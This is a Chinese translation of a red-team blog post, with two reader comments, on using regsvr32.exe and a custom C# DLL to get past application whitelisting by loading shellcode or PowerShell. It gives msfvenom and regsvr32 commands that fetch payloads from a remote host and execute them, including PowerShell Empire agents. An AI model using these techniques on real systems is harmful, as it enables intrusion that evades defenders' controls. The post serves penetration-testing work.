如何利用REGSVR32绕过应用程序白名单
Joff Thyer //
最近我在为一个防御非常严密的客户执行红队任务。该客户拥有严格的出口控制、边界代理、强大的检测机制以及非常严格的应用程序白名单控制。我和队友知道,我们必须非常努力才能从这个环境中建立命令与控制外联,而这还是在获得物理访问权限之后(这本身就是一个重大挑战)。
在前往现场前的一周,我们开始研究所有可能绕过应用程序白名单的各种方法。我们假设了最佳的防御场景,即客户会阻止所有二进制执行,只允许特定的应用程序。在之前与其他客户及同一客户的测试中,我们曾使用“rundll32.exe”来执行DLL内容。这种方法非常有用,如果你可以在DLL中托管Shellcode,并有一个良好的受控入口点。在Metasploit的情况下,DLL入口点名为“Control_RunDLL”。虽然这可能绕过白名单,但我们也知道这个老技巧已经被使用过,我们可能无法再次依赖它。
Casey Smith发布的一种有趣技术涉及Windows中的DLL注册过程,并展示了如何通过将脚本作为参数传递给“regsvr32.exe”并使用COM+“scrobj.dll”来执行COM+脚本。 此外,Casey还发布了如何使用用C#编写的自定义DLL启动进程的概述,如源代码中进一步详细说明。
我对这两种技术都非常着迷,尽管我不想编写COM+脚本来启动有效载荷,而是希望有更大的灵活性。我的目标是尝试让“regsvr32.exe”注册一个DLL,该DLL可以在DLL注册过程中直接执行Shellcode或PowerShell脚本管道。
“regsvr32.exe”DLL注册方法的一个非常好的特点是,你创建的任何DLL只需要导出四种不同的方法即可工作。这些方法是:
- EntryPoint()
- DllRegisterServer()
- DllUnRegisterServer()
- DllInstall()
正如Casey在各种博客文章中指出的,这为你提供了多种代码执行路径,所有这些都使用一个可能在任何环境中都被白名单允许的Windows二进制文件。
等等,但这个“regsvr32.exe”实体是什么?根据微软的说法,“此命令行工具将.dll文件注册为注册表中的命令组件。”你可以在TechNet上阅读更多信息:https://technet.microsoft.com/en-us/library/bb490985.aspx
我决定利用“DllInstall()”例程,采用以下逻辑:
- 在运行“regsvr32.exe”时,使用“/i”标志传递字符串“shellcode”或“powershell”。
- 传入一个逗号,后跟一个文件名或指向base64编码数据的URL。base64编码的数据可以是二进制Shellcode或PowerShell脚本。
- 读取文件或URL内容,然后进行base64解码。
- 如果内容是PowerShell,创建一个运行空间管道,并执行脚本。
- 如果内容是Shellcode,分配内存并执行Shellcode。
以下是用C#编写的执行这些功能的代码片段。想法是将此编译成DLL,然后与“regsvr32.exe”一起使用。
将ShellCode复制到内存并创建新线程
创建系统自动化运行空间以执行PowerShell脚本
现在,你可能会问,在使用“regsvr32.exe”时,如何将文件名或URL传递给DLL。事实证明,“/i”标志允许我们在命令行上指定参数,然后我们可以解析这些参数以获取所需的信息。一旦解析了这些信息,我们就可以使用
导出的DllInstall()方法
文件名和URL解析及决策逻辑
将所有内容整合在一起,我们可以编译64位和32位版本的DLL,然后使用该DLL传递PowerShell或Shellcode有效载荷。如果我们编译的DLL名为“rs32.dll”和“rs64.dll”,以下是使用最终工具的方法。
-
在Linux系统上生成你的有效载荷: $ msfvenom -p windows/x64/exec CMD=calc.exe -f raw 2>/dev/null | base64 >calc.b64
-
将有效载荷下载到Windows,以及“rs64.dll”(假设为64位)。 C:> regsvr32.exe /s /i:shellcode,calc.b64 rs64.dll
但是等等,现在甚至更好。当你可以直接从花哨的DLL使用HTTP(s)时,为什么还要麻烦下载有效载荷。 C:> regsvr32.exe /s /i:shellcode,http://10.10.10.10/calc.b64 rs64.dll
现在我们可以做同样的事情,只是这次使用PowerShell。生成你最喜欢的PowerShell base64编码有效载荷。让我猜猜,你可能想使用PowerShell Empire (https://www.powershellempire.com/),它方便地包含一个base64脚本作为客户端代理!
-
使用“launcher”暂存器生成你的PowerShell帝国脚本
-
现在只剪切/粘贴base64编码部分,并将其保存在文件中。
-
使用“regsvr32.exe”和你花哨的自定义DLL执行PowerShell。 C:> regsvr32.exe /s /i:powershell,payload.b64 rs64.dll
或者, alternatively: C:> regsvr32.exe /s /i:powershell,http://10.10.10.10/payload.b64 rs64.dll
就这样,你拥有了一种全新的有效载荷传递方法,它将愉快地绕过大多数实施了应用程序白名单的环境。如果你想尝试代码,请访问bitbucket仓库: https://bitbucket.org/jsthyer/wevade
“wevade”名称是“whitelisting”和“evade”的随机脑力组合。是的,我知道……我绝不声称自己是营销大师。谢谢,请享受!
评论
loneferret
2017年5月13日 @ 8:21 am
不错的文章,我下载了x64的dll并在我的Win7虚拟机上尝试。Regsvr32在尝试时崩溃了……有什么想法可能导致这个问题吗?再次感谢 🙂
Joff
2017年5月15日 @ 10:15 am
代码目前没有特定的错误处理。例如,如果有效载荷的生成与架构不匹配(在Shellcode的情况下),则会发生不优雅的崩溃。